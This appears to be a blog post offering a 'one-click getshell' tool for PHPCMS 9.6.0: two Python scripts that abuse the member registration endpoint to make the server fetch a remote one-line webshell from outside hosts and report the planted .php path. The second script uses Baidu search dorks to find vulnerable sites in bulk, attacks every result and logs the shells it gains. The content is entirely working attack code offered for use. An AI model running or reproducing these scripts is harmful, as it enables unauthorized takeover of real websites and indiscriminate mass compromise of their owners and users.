phpcms9-6-0 一键getshell工具

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53

# -*- coding:utf-8 -*-

'''
----------------------
Author : Akkuman
Blog   : hacktech.cn
----------------------
'''

import requests
import sys
from random import Random

chars = 'qwertyuiopasdfghjklzxcvbnm0123456789'

def main():
    if len(sys.argv) < 2:
        print("[*]Usage   : Python 1.py http://xxx.com")
        sys.exit()
    host = sys.argv[1]
    url = host + "/index.php?m=member&c=index&a=register&siteid=1"

    data = {
        "siteid": "1",
        "modelid": "1",
        "username": "dsakkfaffdssdudi",
        "password": "123456",
        "email": "[email protected]",
        # 如果想使用回调的可以使用http://file.codecat.one/oneword.txt，一句话地址为.php后面加上e=YXNzZXJ0
        "info[content]": "<img src=http://file.codecat.one/normalOneWord.txt?.php#.jpg>",
        "dosubmit": "1",
        "protocol": "",
    }
    try:
        rand_name = chars[Random().randint(0, len(chars) - 1)]
        data["username"] = "akkuman_%s" % rand_name
        data["email"] = "akkuman_%s@qq.com" % rand_name
        
        htmlContent = requests.post(url, data=data)

        successUrl = ""
        if "MySQL Error" in htmlContent.text and "http" in htmlContent.text:
            successUrl = htmlContent.text[htmlContent.text.index("http"):htmlContent.text.index(".php")] + ".php"
            print("[*]Shell  : %s" % successUrl)
        if successUrl == "":
            print("[x]Failed : had crawled all possible url, but i can't find out it. So it's failed.\n")

    except:
        print("Request Error")


if __name__ == '__main__':
    main()

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81

# -*- coding:utf-8 -*-

'''
----------------------
Author : Akkuman
Blog   : hacktech.cn
----------------------
'''

import requests
from bs4 import BeautifulSoup
# from urlparse import unquote //Python2
# from urlparse import urlparse //Python2
from urllib.parse import quote
from urllib.parse import urlparse
from random import Random

chars = 'qwertyuiopasdfghjklzxcvbnm0123456789'

headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0"
}

def parseBaidu(keyword, pagenum):
    keywordsBaseURL = 'https://www.baidu.com/s?wd=' + str(quote(keyword)) + '&oq=' + str(quote(keyword)) + '&ie=utf-8' + '&pn='
    pnum = 0
    while pnum <= int(pagenum):
        baseURL = keywordsBaseURL + str(pnum*10)
        try:
            request = requests.get(baseURL, headers=headers)
            soup = BeautifulSoup(request.text, "html.parser")
            for a in soup.select('div.c-container > h3 > a'):
                url = requests.get(a['href'], headers=headers).url
                yield url
        except:
            yield None
        finally:
            pnum += 1


def saveShell(shellUrl):
    with open("webShell.txt","a+") as f:
        f.write("[*]%s\n" % shellUrl)

def main():
    data = {
        "siteid": "1",
        "modelid": "1",
        "username": "akkumandsad",
        "password": "123456",
        "email": "[email protected]",
        # 如果想使用回调的可以使用http://file.codecat.one/oneword.txt，一句话地址为.php后面加上e=YXNzZXJ0,普通一句话http://file.codecat.one/normalOneWord.txt
        "info[content]": "<img src=http://7xusrl.com1.z0.glb.clouddn.com/bypassdog.txt?.php#.jpg>",
        "dosubmit": "1",
        "protocol": "",
    }
    for crawlUrl in parseBaidu("inurl:index.php?m=member&c=index&a=register&siteid=1", 10):
        try:
            if crawlUrl:
                rand_name = chars[Random().randint(0, len(chars) - 1)]
                data["username"] = "akkuman_%s" % rand_name
                data["email"] = "akkuman_%s@qq.com" % rand_name
                host = urlparse(crawlUrl).scheme + "://" + urlparse(crawlUrl).hostname
                url = host + "/index.php?m=member&c=index&a=register&siteid=1"
                htmlContent = requests.post(url, data=data, timeout=10)
                successUrl = ""
                if "MySQL Error" in htmlContent.text and "http" in htmlContent.text:
                    successUrl = htmlContent.text[htmlContent.text.index("http"):htmlContent.text.index(".php")] + ".php"
                    print("[*]Shell  : %s" % successUrl)
                    saveShell(successUrl)
                if successUrl == "":
                    print("[x]Failed : Failed to getshell.")
            else:
                continue
        except:
            print("Request Error")



if __name__ == '__main__':
    main()